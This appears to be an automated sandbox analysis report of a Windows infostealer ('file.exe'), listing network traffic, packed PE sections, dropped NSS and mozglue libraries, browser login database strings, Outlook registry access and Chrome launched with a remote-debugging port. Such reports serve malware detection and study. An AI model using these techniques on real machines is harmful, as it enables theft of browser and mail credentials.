Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:50019 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C52ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C56B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C56B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C56B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C50F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5035A0	0_2_6C5035A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57545C	0_2_6C57545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515440	0_2_6C515440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C545C10	0_2_6C545C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C552C10	0_2_6C552C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57AC00	0_2_6C57AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57542B	0_2_6C57542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52D4D0	0_2_6C52D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5164C0	0_2_6C5164C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546CF0	0_2_6C546CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D4E0	0_2_6C50D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516C80	0_2_6C516C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5634A0	0_2_6C5634A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56C4A0	0_2_6C56C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C530512	0_2_6C530512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52ED10	0_2_6C52ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51FD00	0_2_6C51FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C540DD0	0_2_6C540DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5685F0	0_2_6C5685F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C529E50	0_2_6C529E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C543E50	0_2_6C543E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524640	0_2_6C524640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C552E4E	0_2_6C552E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50C670	0_2_6C50C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C576E63	0_2_6C576E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C547E10	0_2_6C547E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C555600	0_2_6C555600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C569E30	0_2_6C569E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50BEF0	0_2_6C50BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51FEF0	0_2_6C51FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5776E3	0_2_6C5776E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525E90	0_2_6C525E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56E680	0_2_6C56E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C564EA0	0_2_6C564EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C547710	0_2_6C547710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519F00	0_2_6C519F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C536FF0	0_2_6C536FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50DFE0	0_2_6C50DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5577A0	0_2_6C5577A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C528850	0_2_6C528850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52D850	0_2_6C52D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54F070	0_2_6C54F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517810	0_2_6C517810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B820	0_2_6C54B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C554820	0_2_6C554820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5750C7	0_2_6C5750C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52C0E0	0_2_6C52C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5458E0	0_2_6C5458E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5360A0	0_2_6C5360A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52A940	0_2_6C52A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55B970	0_2_6C55B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57B170	0_2_6C57B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D960	0_2_6C51D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C545190	0_2_6C545190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C562990	0_2_6C562990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53D9B0	0_2_6C53D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50C9A0	0_2_6C50C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C549A60	0_2_6C549A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C548AC0	0_2_6C548AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C521AF0	0_2_6C521AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54E2F0	0_2_6C54E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57BA90	0_2_6C57BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51CAB0	0_2_6C51CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C572AB0	0_2_6C572AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5022A0	0_2_6C5022A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534AA0	0_2_6C534AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C505340	0_2_6C505340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51C370	0_2_6C51C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54D320	0_2_6C54D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5753C8	0_2_6C5753C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50F380	0_2_6C50F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C53CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5494D0 appears 90 times

Source: file.exe, 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2101380219.000000006C785000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: twbahnth ZLIB complexity 0.9948631949558174

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C567030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C567030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\SZ9P2WPJ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000001.00000002.1927344451.00004A30005DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1932514165.000000001D294000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2100640119.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2432,i,10837436430540024699,4376489110652293416,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2432,i,10837436430540024699,4376489110652293416,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2177024 > 1048576

Source: file.exe

Static PE information: Raw size of twbahnth is bigger than: 0x100000 < 0x1a8600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1730489786.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101541267.000000006C801000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1730489786.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101541267.000000006C801000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.350000.0.unpack :EW;.rsrc :W;.idata :W; :EW;twbahnth:EW;ahateppd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;twbahnth:EW;ahateppd:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C56C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C56C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x2145ec should be: 0x216610

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
